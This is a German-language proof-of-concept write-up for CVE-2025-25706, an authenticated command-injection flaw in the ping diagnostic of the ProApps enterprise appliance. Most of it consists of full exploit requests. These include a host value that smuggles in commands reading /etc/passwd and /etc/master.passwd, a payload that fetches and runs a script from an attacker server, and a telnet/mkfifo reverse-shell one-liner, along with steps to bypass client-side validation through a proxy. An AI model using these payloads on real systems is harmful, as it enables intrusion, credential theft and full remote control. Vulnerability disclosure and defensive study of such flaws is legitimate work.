
Detaillierter Proof-of-Concept für CVE-2025-25706, der eine authentifizierte Remote-Codeausführung durch Befehlseinschleusung in der Ping-Funktionalität von ProApps demonstriert, einschließlich Reverse-Shell-Payload und Ausführungsschritten.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Remote Code Execution
Die Schwachstelle tritt auf, da ein Benutzer über die Ping-Funktion Systembefehle in die Anwendung einschleusen kann, indem er einen Befehlssequenzoperator in Unix-Umgebungen hinzufügt, wie z. B. (;, && oder |). Um die Schwachstelle auszunutzen, ist eine Authentifizierung erforderlich. Der Benutzer muss einer Berechtigungsgruppe namens 'Status' angehören und die Berechtigung 'Modified' besitzen. Es ist auch wichtig zu erwähnen, dass für eine erfolgreiche Ausnutzung die Eingabebereinigung umgangen werden muss. Die Anwendung validiert Benutzereingaben nur auf der Frontend-Seite, sodass es erforderlich ist, die Anfrage z. B. über einen Netzwerk-Proxy zu senden. Auf diese Weise werden die von der Anwendung auferlegten Beschränkungen umgangen.
Nach der Authentifizierung muss eine Seite namens (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view) aufgerufen werden. Diese Seite bietet eine Funktion zum Durchführen einer ICMP-Anfrage an einen beliebigen Host. Weitere Informationen zum Ping-Dienstprogramm und zum ICMP-Protokoll (Anfrage und Antwort) finden Sie im RFC im Abschnitt Referenzen.
sta_rede.diagnostico_pingDie Anwendung sendet eine POST-Anfrage mit den Parametern host, testar_pacote und ttl, wobei host das Ziel des Pings ist, testar_pacote die Anzahl der zu sendenden ICMP-Anfragen angibt und TTL die Time-to-Live (TTL) für die Pakete ist. Beim Senden der Anfrage führt die Anwendung den folgenden Befehl auf dem Unix-System aus: ping -c $testar_pacote $host. Nachfolgend ist die POST-Anfrage, die die Funktionalität demonstriert:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Hier zeigt sich ein Angriffsvektor. Ein Benutzer kann die Schwachstelle ausnutzen, indem er eine bösartige POST-Anfrage über einen Netzwerk-Proxy sendet, um die Eingabebereinigung zu umgehen. Dazu wird einer der Befehlssequenzoperatoren (;, && oder |) an den Parameter host angehängt. Die Webanwendung führt den oben genannten Ping-Befehl aus, gefolgt von einem zusätzlichen Befehl. Dies könnte z. B. das Lesen sensibler Dateien wie /etc/passwd, /etc/master.passwd oder das Abrufen einer Reverse Shell oder die Ausführung beliebiger Befehle umfassen.
Die folgende POST-Anfrage ist ein erstelltes bösartiges Beispiel:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
HTTP POST Request an sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Durch Abhören des angegebenen Ports mit Netcat wird erfolgreich eine Reverse Shell geöffnet.
RCE-Schwachstellen (Remote Code Execution) ermöglichen es einem Angreifer, beliebigen Code auf einem entfernten Gerät auszuführen. Dies kann zu einer vollständigen Systemkompromittierung, Datenschutzverletzung, lateralen Bewegung, Malware-Einschleusung sowie Reputations- und finanziellen Schäden führen.